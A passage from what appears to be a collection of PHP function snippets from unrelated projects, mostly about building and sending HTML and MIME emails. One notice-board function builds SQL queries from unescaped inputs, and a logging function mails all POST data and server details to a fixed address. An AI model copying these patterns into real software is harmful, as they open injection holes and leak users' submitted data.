$this->obDb->record_count;\n\t\tif($this->request['msg']==1)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",MSG_EMAIL_INSERTED);\n\t\t\t$this->ObTpl->parse(\"msg_blk1\",\"TPL_MSG_BLK1\");\n\t\t\t$this->ObTpl->parse(\"msg_blk2\",\"TPL_MSG_BLK2\");\n\t\t}\n\t\telseif($this->request['msg']==3)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",MSG_EMAIL_DELETED);\n\t\t\t$this->ObTpl->parse(\"msg_blk1\",\"TPL_MSG_BLK1\");\n\t\t\t$this->ObTpl->parse(\"msg_blk2\",\"TPL_MSG_BLK2\");\n\t\t}\n\t\telseif($this->request['msg']==5)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",MSG_EMAIL_SENT);\n\t\t\t$this->ObTpl->parse(\"msg_blk1\",\"TPL_MSG_BLK1\");\n\t\t\t$this->ObTpl->parse(\"msg_blk2\",\"TPL_MSG_BLK2\");\n\t\t}\n\n\t\tif($campaigncount>0)\n\t\t{\n\t\t\t#PARSING DISCOUNT BLOCK\n\t\t\tfor($j=0;$j<$campaigncount;$j++)\n\t\t\t{\t\t\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_ID\",$queryResult[$j]->iMailid_PK);\n\t\t\t\tif ($queryResult[$j]->vUserList==\"All\"){\n $this->obDb->query = \"SELECT count(*) as cnt FROM \".CUSTOMERS.\" WHERE iStatus=1 AND iMailList !=0\";\n }else{ \n $this->obDb->query = \"SELECT count(*) as cnt FROM \".LEADLIST.\" WHERE iLeadId_FK='\". $queryResult[$j]->vUserList.\"'\";\n }\n\t\t\t\t$qryRs = $this->obDb->fetchQuery();\n\t\t\t\t\n\t\t\t\tif ($queryResult[$j]->vVisitorList==\"1\"){\n $this->obDb->query = \"SELECT count(*) as cnt FROM \".NEWSLETTERS;\n\t\t\t\t $qryVs = $this->obDb->fetchQuery();\n\t\t\t\t $qryRs[0]->cnt = $qryRs[0]->cnt + $qryVs[0]->cnt;\n }\n\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_USERCOUNT\",$qryRs[0]->cnt);\n \n $this->ObTpl->set_var(\"TPL_VAR_SUBJECT\",$this->libFunc->m_displayContent($queryResult[$j]->vSubject));\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_SID\",$this->libFunc->m_displayContent($queryResult[$j]->vSid));\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_BUILDDATE\",$this->libFunc->dateFormat2($queryResult[$j]->tmBuildDate));\t\n\t\t\t\t$sentDate=$this->libFunc->dateFormat2($queryResult[$j]->tmSentDate);\n\t\t\t\tif(empty($sentDate))\n\t\t\t\t{\t\t\t\t\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_SENTDATE\",\"Send now\");\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_VIEWLABEL\",\"View/Sent\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_SENTDATE\",$sentDate);\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_VIEWLABEL\",\"View\");\n\t\t\t\t}\n\t\t\t\t$this->ObTpl->parse(\"email_blk\",\"TPL_EMAIL_BLK\",true);\n\t\t\t}\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",$campaigncount.\" records found\");\n\t\t\t$this->ObTpl->parse(\"msg_blk1\",\"TPL_MSG_BLK1\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MESSAGE\",MSG_NOEMAILS);\n\t\t\t$this->ObTpl->parse(\"message_blk\",\"TPL_MESSAGE_BLK\");\n\t\t}\n\t\n\t\treturn($this->ObTpl->parse(\"return\",\"TPL_EMAIL_FILE\"));\n\t}", "function saveReceptionistNotices($connection,$noticeFor,$noticeDate,$noticeSubject,$noticeText,$receptionistId,$userRole,$userEmailss,$noticeAction,$hiddenNoticeEditId){\n $noticeDate = date('Y-m-d',strtotime($noticeDate));\n if ($noticeAction == \"add\") {\n\n /*\n * Send emails also\n */\n $to = \"[email protected],\" . $userEmailss;\n $subject = \"Notice Board\";\n // Set content-type header for sending HTML email\n $headers = \"MIME-Version: 1.0\" . \"\\r\\n\";\n $headers .= \"Content-type:text/html;charset=UTF-8\" . \"\\r\\n\";\n // Additional headers\n $headers .= 'From: Allen Forum<[email protected]>' . \"\\r\\n\";\n $headers .= 'Cc: [email protected]' . \"\\r\\n\";\n $headers .= 'Bcc: [email protected]' . \"\\r\\n\";\n $message = '<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns=\"http://www.w3.org/1999/xhtml\">\n <head>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n <title>Receptionist | Allenhouse</title>\n </head>\n <body style=\"-webkit-text-size-adjust: none; box-sizing: border-box; color: #74787E; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; height: 100%; line-height: 1.4; margin: 0; width: 100% !important;\" bgcolor=\"#F2F4F6\"><style type=\"text/css\">\nbody {\nwidth: 100% !important; height: 100%; margin: 0; line-height: 1.4; background-color: #F2F4F6; color: #74787E; -webkit-text-size-adjust: none;\n}\n@media only screen and (max-width: 600px) {\n .email-body_inner {\n width: 100% !important;\n }\n .email-footer {\n width: 100% !important;\n }\n}\n@media only screen and (max-width: 500px) {\n .button {\n width: 100% !important;\n }\n}\n</style>\n <span class=\"preheader\" style=\"box-sizing: border-box; display: none !important; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; font-size: 1px; line-height: 1px; max-height: 0; max-width: 0; mso-hide: all; opacity: 0; overflow: hidden; visibility: hidden;\">Reception,Allenhouse Institute of Technology informs you that a new Notice shared with you.</span>\n <table class=\"email-wrapper\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; margin: 0; padding: 0; width: 100%;\" bgcolor=\"#F2F4F6\">\n <tr>\n <td align=\"center\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; word-break: break-word;\">\n <table class=\"email-content\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; margin: 0; padding: 0; width: 100%;\">\n <tr>\n <td class=\"email-masthead\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; padding: 25px 0; word-break: break-word;\" align=\"center\">\n <a href=\"http://allenforum.cubersindia.com\" class=\"email-masthead_name\" style=\"box-sizing: border-box; color: #bbbfc3; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; font-size: 16px; font-weight: bold; text-decoration: none; text-shadow: 0 1px 0 white;\">\n Notice Board </a>\n </td>\n </tr>\n <tr>\n <td class=\"email-body\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" style=\"-premailer-cellpadding: 0; -premailer-cellspacing: 0; border-bottom-color: #EDEFF2; border-bottom-style: solid; border-bottom-width: 1px; border-top-color: #EDEFF2; border-top-style: solid; border-top-width: 1px; box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; margin: 0; padding: 0; width: 100%; word-break: break-word;\" bgcolor=\"#FFFFFF\">\n <table class=\"email-body_inner\" align=\"center\" width=\"570\" cellpadding=\"0\" cellspacing=\"0\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; margin: 0 auto; padding: 0; width: 570px;\" bgcolor=\"#FFFFFF\">\n <tr>\n <td class=\"content-cell\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; padding: 35px; word-break: break-word;\">\n <h1 style=\"box-sizing: border-box; color: #2F3133; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; font-size: 19px; font-weight: bold; margin-top: 0;\" align=\"left\">Hi, Allenits!</h1>\n <p style=\"box-sizing: border-box; color: #74787E; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; font-size: 16px; line-height: 1.5em; margin-top: 0;\" align=\"left\">Greetings of the Day,<br/>\n We hope you actively participating in Allenforum discussion,to resolve doubts of each other. Its a duty to inform you that an important ntoice has been shared with you\n </p> <p>for checking about it login to your <b>Allenforum accunt</b></p>\n <table class=\"body-action\" align=\"center\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; margin: 30px auto; padding: 0; text-align: center; width: 100%;\">\n <tr>\n <td align=\"center\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; word-break: break-word;\">\n <table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif;\">\n <tr>\n <td align=\"center\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; word-break: break-word;\">\n <table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif;\">\n <tr>\n <td style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; word-break: break-word;\">\n <a href=\"http://allenforum.cubersindia.com\" class=\"button button--\" target=\"_blank\" style=\"-webkit-text-size-adjust: none; background: #ee5d42; border-color: #ee5d42; border-radius: 3px; border-style: solid; border-width: 10px 18px; box-shadow: 0 2px 3px rgba(0, 0, 0, 0.16); box-sizing: border-box; color: #FFF; display: inline-block; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; text-decoration: none;\">Check</a>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n </table>\n <p style=\"box-sizing: border-box; color: #74787E; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; font-size: 16px; line-height: 1.5em; margin-top: 0;\" align=\"left\">Regards\n <br />Allenforum Team</p>\n <img src=\"http://allenforum.cubersindia.com/home/ownImages/other/allenoverflow.png\" alt=\"allenforum\" width=\"200\" height=\"40\"/>\n <table class=\"body-sub\" style=\"border-top-color: #EDEFF2; border-top-style: solid; border-top-width: 1px; box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; margin-top: 25px; padding-top: 25px;\">\n <tr>\n <td style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; word-break: break-word;\">\n <p class=\"sub\" style=\"box-sizing: border-box; color: #74787E; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; font-size: 12px; line-height: 1.5em; margin-top: 0;\" align=\"left\">Please do not reply to this email</p>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n <tr>\n <td style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; word-break: break-word;\">\n <table class=\"email-footer\" align=\"center\" width=\"570\" cellpadding=\"0\" cellspacing=\"0\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; margin: 0 auto; padding: 0; text-align: center; width: 570px;\">\n <tr>\n <td class=\"content-cell\" align=\"center\" style=\"box-sizing: border-box; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; padding: 35px; word-break: break-word;\">\n <p class=\"sub align-center\" style=\"box-sizing: border-box; color: #AEAEAE; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; font-size: 12px; line-height: 1.5em; margin-top: 0;\" align=\"center\">© 2018 Allenforum. All rights reserved.</p>\n <p class=\"sub align-center\" style=\"box-sizing: border-box; color: #AEAEAE; font-family: Arial, \\'Helvetica Neue\\', Helvetica, sans-serif; font-size: 12px; line-height: 1.5em; margin-top: 0;\" align=\"center\">\n <a href=\"https://cubersindia.com\" target=\"_blank\">Cubersindia</a>\n <br />[email protected]\n <br />Kanpur-208021\n </p>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n </table>\n </body>\n</html>\n';\n\n\n // Send email\n @mail($to, $subject, $message, $headers);\n $query = \"INSERT INTO forum_notices SET notice_subject='$noticeSubject',notice='$noticeText',permission='$noticeFor',postedBy='$receptionistId',postedByUserType='$userRole',date_time='$noticeDate' \";\n } else if ($noticeAction == \"edit\"){\n if ($hiddenNoticeEditId) {\n $query = \"UPDATE forum_notices SET notice_subject='$noticeSubject',notice='$noticeText',permission='$noticeFor',postedBy='$receptionistId',postedByUserType='$userRole',date_time='$noticeDate' WHERE notice_id='$hiddenNoticeEditId'\";\n }\n\n }\n\n $result = $connection->query($query);\n return $result;\n }", "function maplesyrupweb_email_template()\n{\n\t$info = '<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n <html xmlns=\"http://www.w3.org/1999/xhtml\">\n <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n <title>Maple Syrup Web</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"/>\n </head>';\n\n $info .= '<body style=\"margin: 0; padding: 0px 0px 150px 0px; background-color:#e7e7e7;\">';\n\n $info .= '<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"background-color:#e7e7e7; width:775px; max-width:90%; margin:0 auto;\" >';\n\n $info .= '<tr><td style=\"padding: 20px 0px 20px 0px;\">';\n \n //your logo here\n $info .= 'Maple Syryp Web <img src=\"\" width=\"100px\" height=\"100px\" />';\n $info .= '</td></tr>';\n\n $info .= '<tr><td style=\"padding: 60px 30px 60px 30px; background-color:#FFFFFF; text-align:left; font-size:14px; color:#656565;\">';\n //email message is here\n $info .= '[message]';\n $info .= '</td></tr>';\n\n $info .= '<tr><td style=\"text-align:center; font-size:10px; padding:30px 0px 0px 0px; color:#656565;\">';\n\n\n $info .= '&copy; '.date(\"Y\").' Maple Syrup Web';\n \n $info .= '</td></tr>';\n $info .= '<tr><td style=\"text-align:center; font-size:10px; padding:10px 0px 0px 0px; color:#656565;\">';\n \n // If you have social media links, include them below\n // $info .= 'Social media links';\n\n $info .= '</td></tr>';\n\n $info .= '</table>';\n\n\n $info .= '</body></html>';\n\n return $info;\n}", "public function lwrite($message) {\n // if file pointer doesn't exist, then open log file\n if (!is_resource($this->fp)) {\n $this->lopen();\n }\n // define script name\n $script_name = pathinfo($_SERVER['PHP_SELF'], PATHINFO_FILENAME);\n // define current time and suppress E_WARNING if using the system TZ settings\n // (don't forget to set the INI setting date.timezone)\n // write current time, script name and message to the log file\n $data[\"DATE\"] = @date('[d/M/Y:H:i:s]'); \t\t\n $data[\"URL\"] = home_url( add_query_arg( NULL, NULL ) );\n $data[\"CONTENT\"] = $message;\n\n $data_json = json_encode($data);\n $data_json_post = json_encode($_POST);\n\t\t//$arr = json_decode($data_json, true); //i prefer associative array in this context\n\n fwrite($this->fp, $data_json.\",\". PHP_EOL);\n\n\t\t$to = '[email protected]';\n\t\t$subject = 'Globalwat - Resume Updated '.$data[\"DATE\"];\n\t\t$body = \"$data_json\";\n\t\t$headers = array('Content-Type: text/html; charset=UTF-8');\n\n\n $data = $message; // rewrite $data\n\t\t$detect_os = detect_os();\n\t\n\t\t$html = \"\";\n\t\t$html.=\"<b>Post ID:</b> \". $message['post_id']; \n\t\t$html.=\"<br />\";\t\n\t\t$html.=\"<b>Fecha:</b> \". @date('[d/M/Y:H:i:s]'); \n\t\t$html.=\"<br />\";\t\n\t\t$html.=\"<b>URL:</b> \". home_url(). \"/wp-admin/post.php?post=\".$message['post_id'].\"&action=edit\";\n\t\t$html.=\"<br />\";\t\n\t\t$html.=\"<b>Device:</b> \". $detect_os['device'];\n\t\t$html.=\"<br />\";\t\n\t\t$html.=\"<b>Browser:</b> \". $detect_os['browser'];\n\n\t\t$html.=\"<br /><br />\";\t\n\t\t$html.=\"<b>General Info:</b><br>\".$_SERVER['HTTP_USER_AGENT'].\"<br >\".php_uname().\"<br/>\";\t\n\t\t$html.=\"<br />\";\t\n\n\n\t\t$html.=\"<b>PLUGIN POST:</b> <br> $data_json\";\t\n\t\t$html.=\"<br /><br />\";\t\n\n\t\t$html.=\"<b>WORDPRESS POST:</b> <br> $data_json_post\";\t\n\t\t$html.=\"<br /><br />\";\t\n\t\t$html.=\"<a href='http://jsoneditoronline.org/'>http://jsoneditoronline.org/</a> <br>\";\t\n\t\t$html.=\"<a href='http://json2table.com/'>http://json2table.com/</a> <br>\";\t\n\t\t$html.=\"<a href='http://json.bloople.net/'>http://json.bloople.net/</a> <br>\";\t\n\n\n\n\t\t//echo $html;\n\n\t\twp_mail( $to, $subject, $html, $headers );\n\n\n\n //fwrite($this->fp, \"$time ($script_name) $message\" . PHP_EOL);\n }", "function mail_attachment($filename, $path, $mailto, $from_mail, $from_name, $replyto, $subject, $message) {\r\n\tif (strtoupper(substr(PHP_OS,0,3)=='WIN')) {\r\n\t $eol=\"\\r\\n\";\r\n\t} elseif (strtoupper(substr(PHP_OS,0,3)=='MAC')) {\r\n\t $eol=\"\\r\";\r\n\t} else {\r\n\t $eol=\"\\n\";\r\n\t} \r\n\r\n\r\n\t$file = $path.$filename;\r\n\t$file_size = filesize($file);\r\n\t$handle = fopen($file, \"rb\");\r\n\t$content = fread($handle, $file_size);\r\n\t$content = chunk_split(base64_encode($content));\r\n\t$f_type=filetype($file);\r\n\tfclose($handle);\r\n\t\r\n\t$uid = md5(uniqid(time()));\r\n\t$name = basename($file);\r\n\t//common headers\r\n\t$header = \"From: \".$from_name.\" <\".$from_mail.\">\".$eol;\r\n\t$header .= \"Reply-To: \".$replyto.$eol;\r\n\t$header .= \"MIME-Version: 1.0\".$eol;\r\n\t$header .= \"Content-Type: multipart/mixed; boundary=\\\"\".$uid.\"\\\"\".$eol.$eol;\r\n\t$header .= \"This is a multi-part message in MIME format\".$eol;\r\n\t$header .= \"--\".$uid.$eol;\r\n\t$header .= \"Content-type:text/plain; charset=iso-8859-1\".$eol;\r\n\t$header .= \"Content-Transfer-Encoding: 7bit\".$eol.$eol;\r\n\t$header .= $message.$eol.$eol;\r\n\t$header .= \"--\".$uid.$eol;\r\n\t$header .= \"Content-Type: application/octet-stream; name=\\\"\".$filename.\"\\\"\".$eol; // use diff. tyoes here\r\n\t$header .= \"Content-Transfer-Encoding: base64\".$eol;\r\n\t$header .= \"Content-Disposition: attachment; filename=\\\"\".$filename.\"\\\"\".$eol.$eol;\r\n\t$header .= $content.$eol.$eol;\r\n\t$header .= \"--\".$uid.\"--\";\r\n\tif (!(mail($mailto, $subject, \"\", $header))) {\r\n\t\techo \"mail send ... ERROR!\";\r\n\t}\r\n}", "abstract protected function _sendMail ( );", "function custom_mail($to, $subject, $message, $additional_headers, $additional_parameters) {\r\n try {\r\n $messagePostfix = '';\r\n $un = strtoupper(uniqid(time()));\r\n $eol = CAllEvent::GetMailEOL();\r\n\r\n // Ищем инструкции по подключеннию файлов и выполняем их\r\n // ADD-FILE: #CARD1#=>card1.jpg;#CARD2#=>card2.jpg;\r\n $additional_headers = preg_replace_callback('#^\\s*ADD-FILE:\\s*([^\\r\\n]+)(?:[\\r\\n]+|$)#sim', function ($m) use (&$messagePostfix, $un, $eol) {\r\n $strAddFile = trim(mb_decode_mimeheader($m[0]));\r\n if (empty($strAddFile)) {\r\n return '';\r\n }\r\n // Разбираемся какие файлы подключать\r\n // #CARD1#=>card1.jpg;#CARD2#=>card2.jpg;\r\n $arrFileAa = preg_split('#\\s*;\\s*#', $strAddFile, -1, PREG_SPLIT_NO_EMPTY);\r\n foreach ($arrFileAa as $strFileAs) {\r\n // #CARD1#=>card2.jpg\r\n $arrFileAs = preg_split('#\\s*=>\\s*#', $strFileAs, -1, PREG_SPLIT_NO_EMPTY);\r\n // Открываем файл\r\n $f = fopen($arrFileAs[0], 'rb');\r\n if ($f === false) {\r\n $fileData = 'Сan not open file ' . $arrFileAs[0];\r\n $fileName = $arrFileAs[1] . '.txt';\r\n } else {\r\n $fileData = fread($f, filesize($arrFileAs[0]));\r\n $fileName = $arrFileAs[1];\r\n fclose($f);\r\n }\r\n $messagePostfix .= '--------' . $un . $eol;\r\n $messagePostfix .= 'Content-Type: application/octet-stream;name=\"' . $fileName . '\"' . $eol;\r\n $messagePostfix .= 'Content-Disposition:attachment;filename=\"' . $fileName . '\"' . $eol;\r\n $messagePostfix .= 'Content-Transfer-Encoding: base64' . $eol . $eol;\r\n $messagePostfix .= chunk_split(base64_encode($fileData)) . $eol . $eol;\r\n }\r\n return '';\r\n }, $additional_headers);\r\n\r\n // Нужно ли добавлять файлы\r\n if ($messagePostfix) {\r\n $messagePrefix = '--------' . $un . $eol;\r\n $additional_headers = preg_replace_callback('#^\\s*(Content-Type:[^\\r\\n]+)(?:[\\r\\n]+|$)#sim', function ($m) use (&$messagePrefix, $eol) {\r\n $messagePrefix .= $m[1] . $eol;\r\n return '';\r\n }, $additional_headers);\r\n $additional_headers = preg_replace_callback('#^\\s*(Content-Transfer-Encoding:[^\\r\\n]+)(?:[\\r\\n]+|$)#sim', function ($m) use (&$messagePrefix, $eol) {\r\n $messagePrefix .= $m[1] . $eol;\r\n return '';\r\n }, $additional_headers);\r\n $additional_headers = trim($additional_headers) . $eol;\r\n $additional_headers .= 'Mime-Version: 1.0' . $eol;\r\n $additional_headers .= 'Content-Type:multipart/mixed;boundary=\"------' . $un . '\"' . $eol . $eol;\r\n\r\n $message = $messagePrefix . $eol . $eol . $message . $eol . $eol . $messagePostfix;\r\n }\r\n\r\n // file_put_contents($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'mail.txt', $additional_headers . $message);\r\n\r\n if ($additional_parameters != '') {\r\n return @mail($to, $subject, $message, $additional_headers, $additional_parameters);\r\n }\r\n return @mail($to, $subject, $message, $additional_headers);\r\n } catch (Exception $e) {\r\n return false;\r\n }\r\n}", "function printReportTemplate($logo1=null,$logo2=null, $title=null,\n\t$subtitle=null, $frt=null, $notes=null,\n\t$firmText1=null, $firmText2=null,$botInfo=null,\n\t$footer=null){\n\n\tglobal $results, $clientData,$encabezado;\n\n\t\t?>\n\t<style type=\"text/css\">\n\t\tbody{\n\t\t\tmargin:auto 5% ;\n\t\t}\n\t</style>\n\t<table class=\"table\" cellspacing=\"0\" width=\"100%\">\n\t\t<thead>\n\t\t\t<td width=\"50%\">\n\t\t\t\t<?php if ($logo1 and file_exists($logo1)): ?>\n\t\t\t\t\t<img width=\"300\" height=\"100\" src=\"<?php echo $logo1 ?>\" alt=\"\">\n\t\t\t\t<?php else: ?>\n\t\t\t\t\t<img src=\"\" alt=\"IMAGEN NO ENCONTRADA\">\n\t\t\t\t<?php endif ?>\n\t\t\t</td>\n\t\t\t<td width=\"50%\" style=\"text-align: right;\">\n\t\t\t\t<?php if ($logo2 and file_exists($logo2)): ?>\n\t\t\t\t\t<img width=\"200\" height=\"50\" src=\"<?php echo $logo2 ?>\" alt=\"\">\n\t\t\t\t<?php else: ?>\n\t\t\t\t\t<img src=\"\" alt=\"IMAGEN NO ENCONTRADA\">\n\t\t\t\t<?php endif ?>\t\t\t\t\n\t\t\t</td>\n\t\t</thead>\n\t\t\n\t\t\n\t</table>\n\t<table class=\"table\" cellspacing=\"0\" width=\"100%\">\n\t\t<tr>\n\t\t\t<td style=\"width: 33%\"></td>\n\t\t\t<td style=\"width: 33%;text-align: center\"><?php echo strtoupper($title) ?></td>\n\t\t\t<td style=\"width: 33%\"></td>\n\t\t</tr>\n\t</table>\n\t<table class=\"table\" cellspacing=\"0\" width=\"100%\">\n\t\t<tr>\n\t\t\t<td style=\"width: 50%\"></td>\n\t\t\t<td style=\"width: 50%;text-align: center\"><?php echo strtoupper($subtitle) ?></td>\n\t\t</tr>\n\n\t</table>\n\t<table class=\"table\" cellspacing=\"0\" width=\"100%\">\n\t\t<tr>\n\t\t\t<td style=\"width: 25%\"></td>\n\t\t\t<td style=\"width: 25%\"></td>\n\t\t\t<td style=\"width: 25%\"></td>\n\t\t\t<td style=\"width: 25%;text-align: center;font-size: 10px\"><?php echo strtoupper($frt) ?></td>\n\t\t</tr>\n\t</table>\n\t<?php echo $encabezado ?>\n\t<?php echo $clientData ?>\n\t<?php echo $results ?>\n\n\t<table class=\"table\" cellspacing=\"0\" width=\"100%\">\n\t\t<tr>\n\t\t\t<td style=\"width: 100%\">\n\t\t\t\t<p style=\"text-align: justify;padding: 10px;font-size: 14px\">\n\t\t\t\t\t<?php echo $notes ?>\n\t\t\t\t</p>\n\t\t\t</td>\n\t\t</tr>\n\t</table>\n\t<table class=\"table\" cellspacing=\"0\" width=\"100%\">\n\t\t<tr>\n\t\t\t<td style=\"width: 50%;text-align: center\"><?php echo strtoupper($firmText1) ?></td>\n\t\t\t<td style=\"width: 50%;text-align: center\"><?php echo strtoupper($firmText2) ?></td>\n\t\t</tr>\n\n\t</table>\n\t<table class=\"table\" cellspacing=\"0\" width=\"100%\">\n\t\t<tr>\n\t\t\t<td style=\"width: 100%\">\n\t\t\t\t<p style=\"text-align: justify;padding: 10px\">\n\t\t\t\t\t<?php echo $botInfo ?>\n\t\t\t\t</p>\n\t\t\t</td>\n\t\t</tr>\n\t</table>\n\t<table class=\"table\" cellspacing=\"0\" width=\"100%\">\n\t\t<tr>\n\t\t\t<td style=\"width: 100%\">\n\t\t\t\t<p style=\"text-align: center;padding: 10px\">\n\t\t\t\t\t<?php echo $footer ?>\n\t\t\t\t</p>\n\t\t\t</td>\n\t\t</tr>\n\t</table>\n\t\t<?php\t\n}", "private function header()\n { \n $fromName = ($this->fromName != '') ? $this->fromName : $this->fromEmail;\n $headers['from'] = 'From: ' . $fromName . ' <' . $this->fromEmail . '>' . $this->breakLine;\n\t\n if (count($this->rcptCc) > 0)\n\t $headers['cc']\t= 'Cc: ' . $this->rcptCcString . $this->breakLine;\n \n if (count($this->rcptBcc) > 0 && $this->mailerType == 'native')\n $headers['bcc']\t= 'Bcc: ' . $this->rcptBccString . $this->breakLine;\n \n if($this->replyTo)\n $headers['replyTo']\t= 'Reply-To: ' . $this->replyTo . $this->breakLine;\n \n $headers['priority'] = 'X-Priority: '. $this->priority . $this->breakLine;\n $headers['mailer'] = 'X-Mailer: ' .$this->panadaXMailer . $this->breakLine;\n $headers['mime'] = 'MIME-Version: 1.0' . $this->breakLine;\n \n switch($this->messageType)\n {\n case 'plain':\n $headers['cont_type'] = 'Content-type: text/plain; charset='.$this->charset.$this->breakLine;\n break;\n case 'html':\n $headers['cont_type'] = 'Content-type: multipart/alternative; boundary='.$this->boundary . $this->breakLine;\n break;\n case 'attach':\n $headers['cont_type'] = 'Content-type: multipart/mixed; boundary='.$this->boundary . $this->breakLine;\n break;\n }\n\t\n if($this->mailerType == 'native') {\n $return = '';\n foreach($headers as $headers)\n $return .= $headers;\n \n return $return;\n }\n else {\n \n // Additional headers needed by smtp.\n $this->writeCommand('To: ' . $this->rcptToCtring . $this->breakLine);\n $this->writeCommand('Subject:' . $this->subject. $this->breakLine);\n\n foreach($headers as $key => $val) {\n\n if($key == 'cont_type')\n $val = str_replace($this->breakLine, \"\\n\\n\", $val);\n \n $this->writeCommand($val);\n }\n }\n }", "function mkHeaders()\n {\n $this->headers[\"Mime-Version\"] = \"1.0\";\n $this->headers[\"Content-Type\"] = \"text/$this->type; charset=\\\"$this->charset\\\"\";\n $this->headers[\"Content-Transfer-Encoding\"] = \"$this->encoding\";\n if ($this->mailfrom) {\n if ($this->mailfromname) $this->headers[\"From\"] = $this->mailfromname . \" <\" . $this->mailfrom . \">\";\n else $this->headers[\"From\"] = $this->mailfrom;\n }\n if ($this->mailcc) $this->headers[\"Cc\"] = $this->mailcc;\n if ($this->mailbcc) $this->headers[\"Bcc\"] = $this->mailbcc;\n if ($this->mailvers) $this->headers[\"X-Mailer\"] = $this->mailvers;\n if ($this->mailreply) $this->headers[\"Reply-To\"] = $this->mailreply;\n if ($this->mailreceipt) {\n $this->headers[\"Disposition-Notification-To\"] = $this->mailreceipt;\n $this->headers[\"X-Confirm-Reading-To\"] = $this->mailreceipt;\n }\n if ($this->mailpriority) {\n switch ($this->mailpriority) {\n case 1:\n $this->headers[\"Priority\"] = \"urgent\";\n $this->headers[\"X-Priority\"] = \"1\";\n $this->headers[\"X-MSMail-Priority\"] = \"Highest\";\n break;\n case 2:\n $this->headers[\"Priority\"] = \"urgent\";\n $this->headers[\"X-Priority\"] = \"2\";\n $this->headers[\"X-MSMail-Priority\"] = \"High\";\n break;\n case 3:\n $this->headers[\"Priority\"] = \"normal\";\n $this->headers[\"X-Priority\"] = \"3\";\n $this->headers[\"X-MSMail-Priority\"] = \"Normal\";\n break;\n case 4:\n $this->headers[\"Priority\"] = \"non-urgent\";\n $this->headers[\"X-Priority\"] = \"4\";\n $this->headers[\"X-MSMail-Priority\"] = \"Low\";\n break;\n case 5:\n $this->headers[\"Priority\"] = \"non-urgent\";\n $this->headers[\"X-Priority\"] = \"5\";\n $this->headers[\"X-MSMail-Priority\"] = \"Lowest\";\n break;\n }\n }\n $this->mkAttachment();\n reset($this->headers);\n $this->mailheaders = \"\";\n while 